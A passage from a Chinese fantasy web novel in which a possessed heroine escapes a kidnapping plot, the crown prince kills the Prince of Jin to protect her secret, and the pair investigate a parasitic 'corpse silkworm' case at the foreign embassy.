说着她就要走,东方宴在身后厚颜无耻地道:“你这么着急的要去哪里?莫非去私会太子?即便你我未曾圆房,可你已是二嫁之女,在世人眼里便是残花败柳,配不上太子妃的位置。所以……”
话未说完,东方宴就被一脚重重地踹飞,又重重地摔落在地,痛得他整个人都蜷缩了起来,半天发不出一点声音。
林倾月寒声道:“东方宴,我本不想和你计较太多,可你非要一而再再而三地找死,那么我只能……”
话没说完,忽然觉得一阵眩晕,她猛瞪着东方宴:“你做了什么……”
而后身形一晃,软软地倒了下去。
东方宴慢慢地从地上爬起来,脸上蒙着一层阴狠。
昨晚,林如珍告诉他,只要想办法抓到林倾月,放干净她身上的污血后,就能逼出那附身的恶鬼现身。
一旦失去肉身的庇护,就能让那恶鬼的魂魄在阳光下灰飞烟灭。
东方宴当时听完就沉默了。
林倾月的实力,哪里是随随便便就能抓到的?
想当初在一线峡,东方宴带着十几个顶级护卫,都未能将她拦住。连他本人,每每和林倾月对上都只有吃亏的份。
更别提把人抓回去放血,只怕到时候被放血的就是他东方宴了。
林如珍对东方宴说:“高人给了我一种特殊的药粉,这种药粉无色无味,对寻常人没有伤害。若是妖邪恶鬼之流,只要沾身就会浑身乏力,失去抵抗之力。”
东方宴思来想去,过去的新仇旧恨,种种羞辱一并涌上心头。
于是今日一早,他就亲自来见了林倾月。
他也知道,以林倾月的手段和能力,想要下药很难。
一番思索,最后他将药粉撒在自己的衣袍上。
见到林倾月后,他故意说出那些会激怒她的话。只要她动手,东方宴身上的药粉就肯定会沾染到林倾月的身上。
果然一切和东方宴预料的一样。
把林倾月抬上马车后,东方宴也一头钻进车里,迅速驶离。
几乎在马车离开的一瞬间,一只老鼠吱吱叫着冲进了玄镜司。
大米正在和谢守正说话,忽然有一只老鼠爬到了他的身上吱吱了两声。
大米神色大惊:“你说什么?林副使被人掳走了?是……晋王?”
谢守正闻言抓起血棘鞭,一边走一边吩咐道:“红瑶你跑得快,速速去通知太子殿下。其他的兄弟们,跟本官去晋王府救林副使。他奶奶的,光天化日敢掳走我们玄镜司的人,活得不耐烦了!”
东方起昨天和林倾月约定好,下了早朝后在鸿胪寺门口外的长街上汇合,一起会见凌真皇子。
到时,由东方起找个理由把双方的身边人都屏退。
林倾月就可以悄无声息地施展溯梦回影的术法,快速探查一遍凌真的记忆。
若没有问题,那么再不留痕迹地将他唤醒,也可避免引起两国外交上的问题。
然而,东方起在鸿胪寺附近等了好一阵子,始终没见林倾月的身影。
他不禁有些纳闷:“奇怪,平常月月都很守时,怎么今日迟迟未到?该不会是玄镜司里有什么事,脱不开身吧?”
就在这时,一个红影飞快闪现,把太子身边的护卫都吓了一跳。
红瑶在太子跟前现身出,急切地道:
“不好了,林副使被晋王给抓走了!谢大人已经带人去了晋王府,以防万一又命我来禀报殿下。”
“什么?”东方起大惊失色,飞身上马往晋王府而去。
红瑶也准备跟上,忽然察觉到了什么,回头朝鸿胪寺的方向看去。
……
东方起心中挂念着林倾月,驾着马一路疾驰,奔过几个路口后,斜刺里突然冲出一行人来。
东方起急忙勒停了马,才没撞到人。
定睛一看,发现来人竟是谢守正。
“小灰,红瑶不是说你去了晋王府吗?找到林副使了吗?”
“哎呀,殿下看到您就好了!晋王府我去了,可晋王那浑蛋压根就没回王府!我留了两个兄弟在王府外守着,准备再去其他地方找找。”
“东方宴没回王府?”
“八成是怕我们找上门救人,就干脆没回去了!哎呀,也不知道林副使被带去哪里了,真是急死人!”
飞天尸蚕的事还没理出个眉目,林倾月又失踪了——谢守正急得直挠头。
东方起心底焦急万分,连握着缰绳的手都在抖。
然而现在,他自己知道不能慌,不能自乱阵脚!否则怎么救人呢?
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第182章 林如珍的算计
东方起的指尖深深的嵌入手掌,那一丝丝的痛楚,强迫他冷静下来。
“确定他们的去向是往晋王府方向吗?”
大米回答道:“往北而去,晋王府不就是在玄镜司以北吗?”
东方起道:“东方宴估计也防着我们找来,所以他应该会避开自己的王府。北边……北边……对,他在城北甘霖巷有一座私人别院!”
想到此,东方起立刻马不停蹄,往甘霖巷而去。
谢守正正要跟去,忽然回头张望:“咦,红瑶怎么没回来?”
想想有些不放心,吩咐大米:“你带人跟着太子殿下,我去瞅瞅红瑶。别一个还没找到,又丢一个。”
甘霖巷别院。
林如珍昨晚就被东方宴送到这里,当时她还老大不乐意。
东方宴说:“谢守正那批人很难缠,发现林倾月失踪难免要找。还有东方起,也对她存有非分之想,必然不会坐视不理。在别院行事要比在晋王府方便。你就暂时先委屈一下,等事情解决后,确定你说的是真的,本王一定将你接回王府。”
林如珍想想也有道理,这才没有再闹腾。
接下来的一整夜,林如珍激动得没有睡着。
终于要把林倾月踩在脚下,终于要收回晋王的心……怎么能不激动?
也不知道是不是太过激动了,肚子里的胎儿也一直动个不停。
她抚摸着肚子,轻声呢喃:“乖宝宝,等娘亲把坏人赶走,咱们娘俩就能回王府享福了……”
此刻,林如珍终于看到东方宴的马车从后院进来,她还有些嗔怪地道:“你堂堂一个王爷,抓个人至于这么偷偷摸摸的吗?”
东方宴冷冷地瞪了她一眼:“少废话。人在马车里,若证明她不是你说的什么恶鬼上身,你该知道后果如何。”
“王爷放心,臣妾自会向您证明一切!”
林如珍挑开车帘一角,看到躺在车厢里的林倾月,唇边勾起一抹怨毒的笑:“林倾月,你这个贱人,终于也栽到我手里了!我……”
“住口!”东方宴不悦地打断,“还没有确定她是恶鬼俯身,岂容你随意辱骂?若再让本王听到你对她不敬的话,休怪本王对你不客气!”
都到了这种时候,东方宴居然还这般偏袒林倾月?
林如珍越发觉得恼恨,却又不敢忤逆东方宴,于是笑了笑道:“我骂的是恶鬼,不是我姐姐。我们现在就验明正身,给我姐姐报仇。”
“你知道就行!”
东方宴亲自将林倾月从马车里抱下来,舍不得让别人沾手。
到了厅堂,东方宴将林倾月放置在罗汉榻上,又拿了软枕垫在她的头下,这才转身问林如珍:
“你昨天说,放血就能让那恶鬼离开她的身体?你如何保证,中间会不会出现意外?若是失血过多,那可是会出人命的。”
林如珍昨晚和东方宴解释了一整晚,终于把他说动,没想到事到临头他又开始担忧。还真是把林倾月当宝,生怕把人弄死。
林如珍道:“王爷,你昨晚不还和那位丰国公主卿卿我我吗?若是我姐姐没有害死,你是要我姐姐,还是要那丰国公主?”
东方宴沉吟不语,只将目光落在林倾月的身上。
此刻林倾月安安静静地躺着,再没有以往那张牙舞爪的模样,多了几分静谧美好。
明明他一直喜欢的就是像现在这样,安安静静温温柔柔的女子。
可不知道为什么,她失去以往鲜活的模样,似乎也变得索然无味。
“男人本就可以三妻四妾,你的问题属实可笑!”
林如珍无声冷笑,下一刻就被东方宴掐住脖子威胁:“本王最后警告你一次,如果你敢耍花样,本王会让你死无葬身之地!放血,本王同意,但不能危及性命!”
林如珍低眉顺眼地应了句:“是。”
东方宴松开了林如珍,催促道:“动手吧,再耽误,就怕谢守正那些人该找来了!”
林如珍从袖口里掏出一把小匕首,一步步地朝林倾月走去。
林倾月!
她心底深处的恨,几乎都要从眼睛里溢出来。
明明自己是侯府千金,偏偏林倾月突然冒出来,让自己的存在成了一个笑话。
自己好不容易用尽了手段,将林倾月打压下去,又好不容易攀上了晋王。
结果晋王却又爱上了林倾月!
她就好像是上天派下的专门跟自己做对似的!
若不是林倾月,自己一个名门闺秀,何至于落得如此凄凉的下场?
晋王舍不得你死?
哼,我偏要让你从这个世界上消失!
不论你是原来的林倾月还是个冒牌货,挡了我的路,都该去死!
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第183章 养母虫的宿主竟然是她?
林如珍恶狠狠地攥住林倾月的手腕,举着匕首就要往她腕间划去。
蓦地,两只纤纤玉指精准夹住寒光凛冽的刀刃。
“闹够了?”林倾月的声音裹着笑意,却让林如珍与东方宴齐齐心头一紧。
“咔嚓!”指力稍一用力,刀刃便如脆冰般碎裂。
林如珍踉跄后退几步,脸色惨白如纸,语无伦次:“你你,你不是……怎么会?你是装的?”
林倾月嗤笑:“凭你们这种下三滥的手段,还想班门弄斧?我若不配合你们演戏,怎么知道你们唱的到底是哪出戏?”
东方宴先是惊得瞠目,随即眼中掠过一丝不易察觉的庆幸。
他转向林如珍,厉声喝问:“林如珍,你先前告诉本王,你那药粉只对邪物有效。所以,她并非你所说的邪祟恶鬼?”
林如珍着急的解释:“不不不,王爷你听我说!我虽然不知道那药粉为什么对她无效,但我知道他绝对不是我姐姐!她就是邪祟恶鬼,抢了我姐姐的身体!”
东方宴看看林如珍,又看看林倾月,一时间有些吃不准该相信谁。
林倾月从榻上坐起,弹了弹裙摆上尘埃,淡笑着道:
“林如珍,你若是就此隐遁山野,或许我就懒得再和你计较那些恩恩怨怨。可你偏偏又要冒出来找死,嗯?”
她晃了晃手上的断刃:“说罢,你想怎么死?”
林如珍转身就想跑,林倾月袖子一挥,大厅的门就咣一声关上。
林如珍彻底的慌了,跪在东方宴脚下哀求:“王爷你救救我!看在我怀了你孩子的份上,你救救我!我肚子里的,可是你的长子啊!”
东方宴没有理会她,只是盯着林倾月打量:“告诉本王,你到底是不是真正的林倾月?”
林倾月淡笑:“与其关心那些,不如想想你的下场。”
东方宴道:“为什么不敢正面回答本王的问题?所以……你真的不是她?本王早该发现的,早该发现的……是你,是你利用了本王对你的感情,蒙蔽了本王的双眼!”
“你告诉本王,真正的林倾月她……她……”
“她当然已经不在人世了。”
“哎……”林倾月悠悠叹息,“我答应过原主,不杀你。可现在,既然你已经知道了一切,那便本座也只好食言……”
血红色的油纸伞“唰!”的一声旋开,犹如盛放在滚滚浊世里的花朵。
伞骨梢下的铃铛,变成了锋利的刀刃,带着凌冽的杀气逼向东方宴。
东方宴下意识就想要拔出随身的佩剑反抗,却发现浑身动弹不得,仿佛所有的力气都被抽走,连动一个手指都做不到。
周围的空气带来强烈的肃杀感,让他心跳加速,感受到了实实在在的恐惧。
他想要大声喊门外的人来救驾,声音却堵在喉头,发不出一个音节。
原来,这才是林倾月真正的实力!
想要杀他的时候,他就如同蝼蚁一样毫无抵抗之力。
直到这一刻,东方宴终于体会到了林倾月的可怕。
就在林倾月准备动手的时候,“砰——”房门被一脚踹开,东方起出现在门口,身后横七竖八倒着十几个王府的侍卫。
而他的剑上还在滴血,一贯温和平静的脸上,溢满了紧张。
门一开,厅里杀气瞬间消散无踪。幽冥伞也收敛了戾气,乖乖回到林倾月手中,看着就像把普通的油纸伞。
东方起进门时,第一眼便望见林倾月斜倚在罗汉榻上,手里握着那把红伞。她眼底还残留着些许冷冽,周身气息却已变得柔和,方才的锋芒仿佛从未出现过。
“月月!”东方起一步跨入门内,正要查看她是否无恙。
逃过一死的东方宴忽然抓住东方起的胳膊,喊道:“她是怪物!她根本就不是最初的林倾月……”
“砰!”东方起急忙关上厅堂大门,把那些跟随他来的玄镜司司卫连同自己的手下一并关在了门外。
而东方宴还在不停的说:
“东方起,我们都被她骗了,原来的林倾月早就死了,她,她是……”
突然,东方宴的声音戛然而止,他不敢置信的低下头,就看到太子手里的长剑已经贯穿了自己的胸脯。
鲜血大片大片地滚出,将东方宴身上的蟒袍润湿。
“太子你……你……”东方宴软软地倒了下去,眼睛突兀地大睁着,至死依然满是疑惑。
明明林倾月也害怕太子知道她的身份,为什么自己揭穿了,太子反而要杀他灭口?
林倾月也确实有些诧异。
东方起缓缓地拔出了剑,面无表情地擦干净剑身上的血,再抬起头的时候又恢复了一贯温润如玉的模样。
他语气温柔地道:“月月,我来救你了。”
“哦对了……”东方起的目光,忽然又落到林如珍的身上,“还有一个。看来,又要多擦一次剑了。”
旁观了的一切的林如珍瑟瑟发抖,用手脚并用地往外爬,嘴里嘟囔着:“疯子,你们都是疯子!”
本小章还未完,请点击下一页继续阅读后面精彩内容!“疯的人是你才对。”林倾月身形一闪,人已经出现在门口挡住了林如珍的去路。
林如珍道:“饶……饶了我……我再也不敢……不敢……”
林倾月微笑:“放心,暂时不杀你。看在你大肚子的份上。”
东方起这才发现林如珍怀了孕:“她怀的是东方宴的孩子?”
林倾月嗤笑:“怎么可能?若我没看错,那里面应该是飞天尸蚕的母虫。”
东方起吃了一惊:“所以,这个林如珍是养母虫的宿主?那她岂不是……”
他想起,林倾月昨天说过,子虫只吃腐尸内脏,母虫则完全相反,吃活人内脏。
此刻,再看林如珍微微隆起的肚子里,却在不停的动弹,似乎是里面的东西感应到了危险,想要逃走。
林如珍也因此痛得在地上直打滚,嘴里一个劲地喊着:“乖宝宝,不要折腾娘亲!乖一些,不然娘亲承受不住!”
那肚里的东西,似乎也有母子连心的感应,听了林如珍的话之后居然真的就不再闹腾。
林如珍抚摸着肚子道:“真是个乖宝宝。”
林倾月道:“你肚子里的根本不是胎儿,而是妖怪!”
这话瞬间就激怒了林如珍,她大声地反驳:“不,这就是我的宝宝!也是晋王府的长子!若不是你抢了我王妃的位子,理应是嫡长子!"
她垂眸间看到倒在血泊里的东方宴,心头一慌,又忍不住哀求:
“我什么都不会说的!只要你饶过我,你的秘密我永远不会说出去。晋王已经死了,我肚子里的孩子就是晋王唯一的血脉,生下的话就能继承王位!以后我就是王爷的娘了,我可以帮你,你想要我帮你做什么都行!”
林倾月看着她疯疯癫癫的样子,只觉得是罪有应得。
她抬手一挥,林如珍就两眼一翻,睡了过去。
林倾月朝东方起走近几步,问:“你什么时候知道的?”
刚才东方起杀东方宴的举动,显然是在帮她遮掩身份。既如此,他必然早已洞悉一切。
"很早了,"东方起道,“大概从你还是小花时,我就知道你来历不凡。"
"你不怕吗?”林倾月挑眉,“我这般来历不明,保不齐是什么恶鬼夺舍,要祸害天下的。"
"你不是。"东方起语气笃定,“虽不知你真实来历,但我敢肯定,你绝不会做杀人夺舍的事。”
"就这么笃定?"林倾月轻笑,"我可从没说过自己是好人。"
"你是。"东方起望着她,目光执着而坚定。
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第184章 即便你真是恶鬼,也是怀了佛心的恶鬼
林倾月问他:“既然你早知道我不是原来的林倾月,为何从来不问我来历?”
东方起反问:“我问了你就会说吗?”
林倾月摇头。
东方起微微一笑:“既如此,我又何必多问呢?人人都有不愿言说的秘密,这本就是人之常情。我只需确定你非大奸大恶之辈,便足够了。”
他倒是想得单纯。
“可你又如何确定我不是大奸大恶之辈?”
东方起指尖点了点自己的眼,又按了按心口:“凭我亲眼所见、亲身所历、心底所感。”
“当初你于危难中救我,后来又陪我一路北行,所见不平你都会出手干预。在赤影之地更是舍命相护,才有我的今日。即便你真是恶鬼,也是怀了佛心的恶鬼,又有何惧?”
“至于东方宴……”
他淡淡扫过地上的尸身,语气平静:“从前他三番五次与我为敌,我早有杀心,不过看在老晋王的面子上才留他一命。如今他既已知晓你的秘密,为防后患,自然该斩草除根。”
毕竟不是人人都像他这般懂林倾月。
如今单是林如珍那几句谗言,东方宴便对林倾月生出歹心,青天白日就敢将人掳走。
此番若再容他活着,难保他不会四处散播污言秽语,让林倾月落入万劫不复之地。
所以方才,东方起才会毫不犹豫地痛下杀手——看似冲动,实则深思熟虑。
林倾月对于东方起的回答很是满意,“不错,我果然没有看错人。正事要紧——林如珍腹中既有飞天尸蚕寄生,或许能从她的记忆里,找到我们要找的幕后主使。”
“好,接下来就看你了。”
东方起暗自失笑:这时候还惦记着玄镜司的差事,她就算自称是恶人,又有谁会信?
林倾月手指快速结印,同时祭出符箓,呵斥一声:
“以血为引,溯梦回影!”
随着林倾月的法诀念出,一道金色的符光就落入了林如珍的识海里。
林如珍的上空浮现出一片光幕,清晰地将她过去两个月经历过的种种折射出来——
漆黑的午夜,披着斗篷的林如珍慌张地奔走在京城的大街上。
那是两个月前,她胆大包天的把东方宴给睡了以后,又怕东方宴会找自己算账,于是连夜逃走。
她不敢回林家,否则肯定会被东方宴找到。
林霄那种自私凉薄的人,是不可能为自己一个养女,得罪晋王。
于是她悄悄去了京城几个名媛闺秀家里。
可过去,那些和她关系很好的那些手帕交们,早已知晓了她假千金的身份,连见一面都不肯。
直到后来,她找到了冯家。
冯英的妾室颜秋儿,曾经和林如珍有过几次交往。
不过从前,林如珍是侯府千金,对颜秋儿的身份是看不上的。
只因为冯英是国子监祭酒,林家需要这个人脉,所以林如珍才迫不得已自降身份,和颜秋儿打过交道,关系算不得特别好。
来到冯家也真是走投无路的无奈之举。
没想到的是,颜秋儿居然亲自来出来接她,还将她安排在冯家的厢房住下。
在聊起过去的时候,林如珍毫不避讳地把她和林倾月的恩怨纠葛,说给颜秋儿听。
颜秋儿听着听着,忽然道:“那晋王妃还真是很奇怪,前后就跟完全变了一个人一样。”
“变了一个人?”林如珍醍醐灌顶,“对,没错!就像完全变了一个人!除了外表没变,她的言行举止、脾气秉性,通通都和以前不一样。还有那一身奇奇怪怪的本事,也不知道是怎么冒出来的。”
“有一回,她不过就是拍了拍我的肩膀,就给我种下一种古怪的符咒。害得我口舌生疮,如今说话的声音依然嘶哑难听,就像临终的老太婆一样!”
颜秋儿思忖着道:“根据你的描述来看,林倾月的情况很像是被夺舍。”
“夺舍?”
“所谓夺舍,是指身体被雀占鸠巢。我听说民间有些修炼邪术的人,身体衰老,为了继续活下去,就夺取别人的身体为己用。又或者,已经死亡没有肉身的恶鬼,占据活人的身体重活一世。就会出现脾气秉性完全大变的情况!”
“所以,林倾月是被人夺舍了?后来的那个,是恶鬼上身?”
想通了这些,林如珍欣喜若狂:“若是晋王知道了真相,肯定不会再要她。那王妃的位置,还是我的!没错,那本来就是属于我的位置!”
她抓着颜秋儿的手,如同抓住救命稻草:“我要怎么样证明她是夺舍的恶鬼?秋儿,你可千万要帮帮我呀!等我当了晋王妃,我一定会好好报答你!”
颜秋儿看了看她的肚子:“现在晋王还被蒙蔽,不是时候。等你确定怀了身孕再去,会更加保险。那时你拆穿了林倾月的身份,在晋王跟前立下大功,又怀了他的子嗣,他一定会厚待你们母子。”
于是,在接下来的几天里,林如珍每天都要查看几次肚子。
她想要怀孕,想要最后博一次。希望那一夜的大胆行径怀上东方宴的孩子,然后母凭子贵。
这章没有结束,请点击下一页继续阅读!情急之下,她隔两天都要让颜秋儿帮她请大夫把脉搏。
可惜每次结果都不如人意。
后来,颜秋儿给送了她一颗滋补凝胎丸。
颜秋儿哄她说:“这是民间秘方,服下之后,哪怕没有受孕,也能将当时的精气留住凝固成胎。”
“此话当真?”林如珍盯着颜秋儿的肚子看,“你自己嫁入冯家不也一年有余了吗?怎么你一直没有怀孕?有这种好东西,你难道不会自己吃吗?”
颜秋儿叹了口气:“我运气不如你好啊,晋王年富力强,一击就中的概率很高。不像我们家那位……外强中干,早就不中用了。我若是怀了,反而会让他觉得我给他戴绿帽子。所以这颗滋补凝胎丸,我根本就用不上。如今送给未来的晋王妃,王妃将来得势可千万莫忘了我啊。”
林如珍这才放下心来,当着颜秋儿的面吞下了那颗凝胎丸。
几天之后,大夫再来诊脉,果然诊出了喜脉。
但奇怪的事,没过多久,她就能感觉肚子里有东西在动来动去。
颜秋儿说,这叫胎动,说明胎儿活泼顽皮,定是个小子。
林如珍没有经验,哪里知道胎动要怀孕四五个月之后才会产生?
她对颜秋儿的话信以为真,每天做梦都是自己生下麟儿被晋王迎回王府,过上金尊玉贵生活的场景。
就这样过了两个月,林如珍的肚子越来越大。
那天,她在冯家实在呆得太无聊,颜秋儿就陪她出去逛街。
回来的时候,却发现玄镜司的人冲了冯家,要来捉拿颜秋儿。
颜秋儿眼见事情不妙,拽着林如珍就跑。
林如珍大着肚子,没跑多久就摔了一跟头。
她不解地问颜秋儿:“玄镜司的人为什么抓你?你做了什么?”
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第185章 本宫当权一日,你林倾月就能在齐国横着走!
颜秋儿知道带着这个拖油瓶没办法脱身,于是丢下一瓶药粉道:“玄镜司现在都是林倾月的天下了,他们突然来找我麻烦,或许就是冲着你来的!”
“看来我们的计划要提前了!这个药瓶你拿好,只要沾上一点,就能让夺舍的恶鬼昏迷。而后再用我先前教过你的放血之法,逼她显形!”
“安全起见,你自己不能直接出面。所以你要先去找晋王,想办法让他相信你,愿意和你一起联手对付林倾月!”
接下来出现的画面,就是前一晚,林如珍和东方宴见面,以花言巧语说动东方宴,准备一起算计林倾月。
画面至此结束,林如珍留着也没什么价值,林倾月拔出伞柄下的软剑,一刀封喉咙。
把她肚里的东西感应危险,疯狂地在林如珍的肚子里扭动膨胀,肚皮在不断地膨大中变得薄如蝉翼,隐约能看到里面盘踞着一条手臂般粗的虫子。
东方起眼疾手快,快速在虚空中绘制出一个血色符箓,喝一声:“封!”
血色的符箓瞬间就没入鼓涨的肚子,一点点地瘪下,恢复成了正常孕肚的大小。
里面的尸蚕,被封印后陷入了沉睡,不太动弹。
林倾月忍不住夸赞道:“你这凭空捏符的术法用的很好,我记得我好像只教过你一次?”
凭空捏符,那是更为高等的符箓术法。
以自身灵力为笔墨,以虚空为纸,绘制作成符。这种方式更为便捷,力量也更加强大。
但需要强大的天赋和灵力才能随心所欲地应用。
林倾月当时也只是随便的展示了一次,其实都不算教过。
她原本想着等他基础的符箓术法全部掌握后,再教他凭空捏诀的术法。没想到他只看了一次,居然就学会了。
却不知,刚才东方起只是情急之下,用出这一招。
使完之后自己都有些惊讶:“原来我竟是一个符箓之术的天才。”
林倾月冷哼一声,表示不屑,又问东方起:“你杀了东方宴,接下来准备怎么交代?他在朝廷中党羽众多,又有几大世家的支持。若是处理不好,恐怕难以善终。不如……”
她顿了顿,语气陡然变得森冷:“……不如趁此机会,一并铲除了吧。”
东方起苦笑道:“那牵扯未免也太大了。为了免除一场腥风血雨,只能来个栽赃嫁祸,就让林如珍背上杀害东方宴的黑锅吧。”
林倾月道:“这也是个办法。不过,那些士族的人未必会全信,最好的办法还是斩草除根为好。”
东方起道:“这事我会处理好,必要的时候我肯定不会心慈手软。”
而最主要的是,他不希望林倾月参与到党争之中。更不希望,她变成一柄只会杀人的刀子。
所以不论接下来的局面有多么难以应对,东方起都会自己去面对。
林倾月知他能够应对,还是忍不住道了一句:“若有需要可以随时来找我。”
东方起抬头望来:“你在担心我吗?”
林倾月一愣,忽然又笑:“自然,毕竟你我是有朋友。且如今,人人都知我这朝澜亲王是太子党,若你垮台了,谁来给我撑腰呢?”
她虽然是以玩笑的口吻说出,且刻意强调的“朋友”二字,东方起心中还是忍不住有些欢喜。
——她还能将我视为朋友,至少说明我在她心里有些地位。
"放心,本宫当权一日,你林倾月就能在齐国横着走!"
而林倾月也只将这话当成玩笑,一笑而过:“眼前,还是先处理尸蚕的案子吧。”
东方起点头,他转身打开了厅堂的门,对外面的人吩咐道:“邪祟寄生于晋王庶妃身上,意图加害晋王和朝澜亲王。晋王不幸遇难……”
他轻轻叹息一声,脸上露出几分真假难辨的悲切:“此事事关重大,暂时封锁消息,不准外传。”
林倾月则以玄镜司副使的身份吩咐手下:“林如珍已死,她被飞天尸蚕的母虫寄生。母虫最大的危害,便是在寄生之后,活活吃掉宿主的内脏,而后将虫卵产在宿主的腹部中。等宿主死后,子虫孵化,靠吃宿主腐肉成长。”
“小六、小七,你们把林如珍的尸体带回玄镜司。她腹中的尸蚕头虫还没死去,但是已经被封印,失去了活力。”
小六和小七瞄了一眼,顿时觉得头皮发麻:
“林副使,既然你确定是尸蚕,连尸体带虫都烧掉算了。何必多此一举带回去?”
“对啊,万一中途那东西跑出来祸害人怎么办?”
林倾月道:“不会,这种封印之术还是死封,只留了一口气暂时没让它死,没有本事再伤人了。”
而东方起之所以用了死封,却没有直接杀死尸蚕,也是为了留有一个证据,证明林如珍确实是被寄生,如此也好光明正大地甩锅给她。
东方宴毕竟是堂堂晋王,死了总需有个交代。
小六和小七听完才稍稍放心,两人忍着恶心把林如珍的尸体给抬走。
而东方宴的尸体则被太子的人收敛,回头还要风光大葬。
走出别院的大门时,谢守正急急忙忙地冲了过来,一边跑一边喊:“殿下殿下!咦,林副使你安然无恙了?没事就好,没事就好!”
东方起问:“你这么急急忙忙,出了什么事?”
谢守正道:“发现颜秋儿的行踪了!”
林倾月急忙追问:“在哪里?”
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第186章 探查鸿胪寺
刚才玄镜司的众人都以为,林倾月被晋王抓走,恐怕会有危险,于是一股脑的跟着东方起来救人。
唯独谢守正却突然想起红瑶一直不见踪影。
他想想有些不放心,便回去寻找。
到了鸿胪寺附近的时候,就看到红瑶在那边张望着。
“红瑶,你怎么傻站着呀?不去救林副使吗?”
红瑶听到他声音,回过头来:“我怀疑颜秋儿藏在鸿胪寺里!”
谢守正问:“你亲眼看到吗?能肯定吗?”
“不能完全肯定。只是刚才,我隐约闻到一股脂粉香气,那气味和我们搜查冯家时,在颜秋儿妆台的脂粉一样,是一种很特殊的玫瑰混着清茶的香气。平常人也许察觉不出,可我能闻出是一致的。”
鸿胪寺里的贵宾身份尊贵,关乎两国关系,谢守正不能贸然闯入。
谢守正叮嘱道:“事关重大,红瑶你先在这里守着。那你千万不要轻举妄动,注意自身安全。我去找太子殿下,等救出林副使后就立刻过来!”
红瑶点头:“谢大人你赶紧去!咱们查案、救人两不误!”
林倾月和东方起原本今日就计划去鸿胪寺一探究竟,此刻二人交换了个眼神,齐声道一声:
“走,去鸿胪寺!”
不管凌真是否真有问题,还是颜秋儿另有所图,鸿胪寺都非去不可。
为防万一,东方起派人去调了禁卫,作为驰援。
鸿胪寺乃是专门负责外交接待,主持礼仪和祭祀的部门。
凌真兄妹二人来京城之后,就一直被安排入住在此。
看到太子突然驾到,凌真还有些意外,旋即笑呵呵地问:“太子殿下,咱们今日去哪里视察?朝澜亲王也来了?”
东方起看了一眼凌真周围的随从道:“大皇子殿下,您昨日提起过归元教的事,正好我昨晚回去接到一些关于归元教的消息。不知殿下可否借一步说话?”
“自然可以!”凌真毫不犹豫就应下了。
他身边的官员还有些不放心:“殿下,您身份贵重,若是不留侍卫保护,万一……”
凌真摆摆手道:“不必如此戒备。这里是鸿胪寺,本就是安全之地。再者太子殿下又不是旁人,难道还会对我做出什么危险的举动?”
东方起颔首:“感谢大皇子的信任。”
其中一个丰国使官不放心地道:“殿下,一刻钟后我等再进来。就算有什么要事,一刻钟也差不多了。”
凌真知道这是手下人在担心自己,于是笑着点头:“行,一刻钟后,本皇子就出来。”
丰国人一走,东方起也让谢守正自己身边的近身侍卫等等,都退到门外守着。
如此一来,厅内就只剩下东方起、林倾月、凌真皇子。
“是不是归元教也出现在了齐国?那……”
东方起道:“此事容后再说,大皇子请问您见过画像上的人吗?”
他说着,拿出一副人物画像给凌真看。
凌真看完之后摇头:“没有见过。这画上的女子,难道和归元教有关?”
东方起道:“实不相瞒,是另外的案子。此女潜伏在齐国,将飞天尸蚕寄样在尸体里,图谋不轨。若是凌真皇子见过此人,还请如实相告。”
“飞天尸蚕?那是什么东西?”
林倾月就把飞天尸蚕的特性和危害悉数告知。
凌真听完把画像一卷,还给东方起:“抱歉了太子殿下。我确实不认识这画上的女子。我们还是来谈一谈归元教的事吧。”
眼看时间不多,若是再多废话一刻钟就到了。丰国人警惕性高,不能拖到他们进来。
林倾月不知道动了个什么手脚,凌真皇子方才的话才说完,忽然两眼一翻就晕倒在椅子上。
下一刻,林倾月闭上眼睛,释放出灵力探查了凌真的识海。
这种方法能迅速检索他的记忆,从而查出他是否与颜秋儿有关——他们不能保证凌真皇子会不会撒谎,只能出此下策。
事情紧急,必须速战速决。
林倾月用的这种方法简洁有效。
只不过此法有一个弊端,施术之人需要全神贯注,中间不能被打断,否则被探查的人精神有可能会受到刺激,导致错乱。
相比之下,溯梦回影较为温和安全,被溯梦的人醒来之后也不会留有任何记忆和不适,唯一的缺点就是需要花费更多时间。
此刻,有东方起在旁边守着,门外还有红瑶和谢守正,林倾月才敢大胆的探查凌真的识海。
片刻之后,林倾月猛然睁开眼睛。
东方起急忙询问:“如何?”
林倾月摇头:“在他的记忆里,没有任何和颜秋儿、尸蚕相关的内容。”
凌真也很快苏醒了,他的头隐隐有些痛,那是刚才被外力侵入产生了一些不适症状。
“太子殿下!”他揉着额头有些不高兴,“你们这是在做什么?”
“凌真皇子,请听我解释。事情是这样的……”
可凌真皇子此刻已经充满了警戒之心,大喊一声:“来人那!”
先前退出去的丰国侍卫便不顾谢守正和红瑶的阻拦,破门而入。
有自己的人在身边,凌真才稍稍松了口气,接着就开始兴师问罪:
“太子殿下,我信任你拿你当兄弟,才屏退左右,可你们二人却将我弄昏。虽然我不知道你们具体做了什么手脚,但此举分明就是藐视两国邦交!若非我及时醒来,岂不是连怎么死的都不知道?”
东方起赶忙解释道:“皇子请见谅,我们并没有害人之心。只是最近京城里出现了飞天尸蚕寄生在人身上的案子。晋王、晋王庶妃刚刚因此丧命。而凶手目前在逃,我们查到她为丰国人,且有很大概率就潜藏在鸿胪寺。”
凌真闻言诧异:“你是说,晋王遇害了?”
旋即他又有些愤怒:“所以,你们就怀疑那凶手和我凌真有关?岂有此理!”
他一拍桌子,怒道:“即便对方是丰国人,难道就是我凌真主使的吗?况且,丰国子民几千万人,即便犯了罪,按照齐国的律法制裁就是。而你们却利用我对你们的信任,对我堂堂一国皇子实施催眠,简直欺人太甚!”
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第187章 凶手现身
凌真身边的官员闻言也是大惊失色,纷纷出来抗议:
“什么?你们居然对我国皇子实行催眠?这是藐视两国邦交!”
“皇子殿下休要和他们多言,我们一同去皇宫,问问齐国的皇帝,这是齐国的待客之礼吗?”
东方起双手作揖,深鞠一躬:“凌真皇子实在抱歉,因尸蚕之事关乎京城安危,才不得不出此下策。让皇子受惊,东方起愿意赔礼道歉。若还需要其他的交代,东方起也愿意一力承担。”
凌真见他如此诚心道歉,反而有些不好发作。
他冷哼了一声:“今日我有些不舒服恕不招待,太子殿下请回吧。”
顾忌着两国的关系,东方起并不想把凌真彻底得罪。
见林倾月的目光望来,东方起摇了摇头。
“既然凌真皇子身体不适,那我们先回去。”
等到林倾月和东方起带着人,从鸿胪寺离开后,凌真的脸上沉了下来。
他先是屏退了身边所有人,连侍卫都不留,而后一言不发往后院而去。
“砰!”他一脚踹开凌雪的房门。
凌雪正在对镜描画眉,被惊得腾的一下跳起来,不满地质问:“什么人,胆敢……”
待看到是自己的大皇兄时,她脸上怒色消退,露出几分不解:
